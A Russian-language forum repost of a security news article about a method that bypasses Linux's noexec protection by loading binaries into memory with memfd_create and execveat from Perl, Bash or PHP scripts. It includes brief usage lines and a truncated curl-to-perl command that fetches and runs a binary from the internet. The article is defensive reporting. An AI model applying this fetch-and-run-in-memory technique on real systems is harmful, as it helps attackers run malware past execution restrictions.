Новости Защита Linux пробита: noexec оказался неэффективен

NewsMaker

I'm just a script
Премиум
13,091
20
8 Ноя 2022
Раскрыт способ обхода защиты через обычные скрипты.


lyj8j9i7e66y8fadtvlsaq99cd3q3bqc.jpg


Исследователи Для просмотра ссылки Войди или Зарегистрируйся новый способ обхода флага noexec в Linux , позволяющий выполнять произвольные бинарные файлы даже на разделах, где выполнение запрещено. Это возможно с помощью сценариев на Perl, Bash и PHP, которые не требуют выполнения прав root и позволяют загружать и исполнять бинарные файлы напрямую из интернета, обходя ограничения noexec.

Один из ключевых аспектов заключается в том, что бинарный файл не обязательно должен быть помечен как исполняемый (+x) и может находиться на разделе с установленным флагом noexec. Это особенно полезно для ситуаций, когда все доступные для записи разделы смонтированы с параметром -o noexec, включая /dev/shm. Метод работает даже в окружениях, где PHP имеет ограничения на использование функций 'exec'.

Для просмотра ссылки Войди или Зарегистрируйся основано на инъекции shellcode в работающий процесс, используя системные вызовы memfd_create и execveat, что позволяет загружать бинарный файл из памяти. Как отмечают исследователи, это обходное решение также работает в средах, где запрещено выполнение системных вызовов в Bash и PHP, применяя обновлённый метод для обхода этих ограничений.

Пример на Perl показывает, как можно выполнить команду 'id', не прибегая к правам root:

<pre>source memexec-perl.sh cat /usr/bin/id | memexec -u </pre> На Bash это можно сделать подобным образом:

<pre>source memexec-bash.sh cat /usr/bin/id | memexec </pre> Интересной особенностью метода является возможность загрузки бинарных файлов непосредственно из интернета в оперативную память и выполнения их, несмотря на активированные ограничения на выполнение (noexec). Это может быть использовано злоумышленниками для незаметной загрузки и запуска вредоносных программ через команды типа:

<pre>curl -SsfL Для просмотра ссылки Войди или Зарегистрируйся | perl -efor(319,279){...} </pre> Метод позволяет эффективно обходить ограничения на выполнение команд в PHP с помощью аналогичных сценариев, что представляет собой серьезную уязвимость для систем, использующих такие ограничения для защиты от вредоносного кода.

Исследователи продолжают анализировать подход и его возможные последствия для безопасности Linux-систем, подчёркивая важность внедрения дополнительных мер защиты для предотвращения использования такого метода в реальных атаках. Также рекомендуется проверять доступ к системным вызовам и ограничивать их использование, особенно в средах с повышенными требованиями к безопасности.
 
Источник новости
www.securitylab.ru

Похожие темы